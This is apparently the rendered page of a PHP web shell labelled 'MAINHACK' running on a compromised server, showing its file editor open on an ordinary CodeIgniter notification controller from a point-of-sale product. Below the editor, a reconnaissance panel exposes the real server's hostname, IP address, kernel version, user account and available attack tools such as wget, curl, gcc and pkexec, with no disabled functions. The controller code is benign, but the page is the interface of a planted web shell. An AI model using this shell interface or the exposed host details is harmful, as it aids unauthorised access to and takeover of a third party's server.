[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Notification.php
<?php /* ########################################################### # PRODUCT NAME: Off POS ########################################################### # AUTHER: Door Soft ########################################################### # EMAIL: info@doorsoft.co ########################################################### # COPYRIGHTS: RESERVED BY Door Soft ########################################################### # WEBSITE: https://www.doorsoft.co ########################################################### # This is Notification Controller ########################################################### */ defined('BASEPATH') OR exit('No direct script access allowed'); class Notification extends Cl_Controller { /** * load constructor * @access public * @return void */ public function __construct() { parent::__construct(); $this->load->model('Authentication_model'); $this->load->model('Common_model'); $this->load->library('form_validation'); $this->Common_model->setDefaultTimezone(); if (!$this->session->has_userdata('user_id')) { redirect('Authentication/index'); } if (!$this->session->has_userdata('outlet_id')) { $this->session->set_flashdata('exception_2',lang('please_click_green_button')); $this->session->set_userdata("clicked_controller", $this->uri->segment(1)); $this->session->set_userdata("clicked_method", $this->uri->segment(2)); redirect('Outlet/outlets'); } } /** * notificationsAjax * @access public * @param no * @return json */ public function notificationsAjax(){ $notifications = $this->Common_model->getAllNotification(); $countNotification = $this->Common_model->getNotificationCount(); $response = [ 'status' => 'success', 'data' => $notifications, 'count' => $countNotification, ]; $this->output->set_content_type('application/json')->set_output(json_encode($response)); } /** * unreadNotificationsAjax * @access public * @param no * @return json */ public function unreadNotificationsAjax(){ $notifications = $this->Common_model->getDataByColumnValue('read_status', '0', "tbl_notifications"); $response = [ 'status' => 'success', 'data' => $notifications, ]; $this->output->set_content_type('application/json')->set_output(json_encode($response)); } /** * markAsAllReadNotificationsAjax * @access public * @param no * @return json */ public function markAsAllReadNotificationsAjax(){ $this->Common_model->markAsAllReadNotification(); $response = [ 'status' => 'success', ]; $this->output->set_content_type('application/json')->set_output(json_encode($response)); } /** * deleteNotificationsAjax * @access public * @param no * @return json */ public function deleteNotificationsAjax(){ $notification_id = $this->input->post($this->security->xss_clean('notification_id')); $this->Common_model->hardDeleteById($notification_id, 'tbl_notifications'); $response = [ 'status' => 'success', ]; $this->output->set_content_type('application/json')->set_output(json_encode($response)); } /** * readNotification * @access public * @param no * @return json */ public function readNotification(){ $notification_id = $this->input->post($this->security->xss_clean('notification_id')); $read_status = $this->input->post($this->security->xss_clean('read_status')); $company_id = $this->session->userdata('company_id'); $this->Common_model->notificationReadById($read_status, $notification_id, $company_id); $response = [ 'status' => 'success', ]; $this->output->set_content_type('application/json')->set_output(json_encode($response)); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002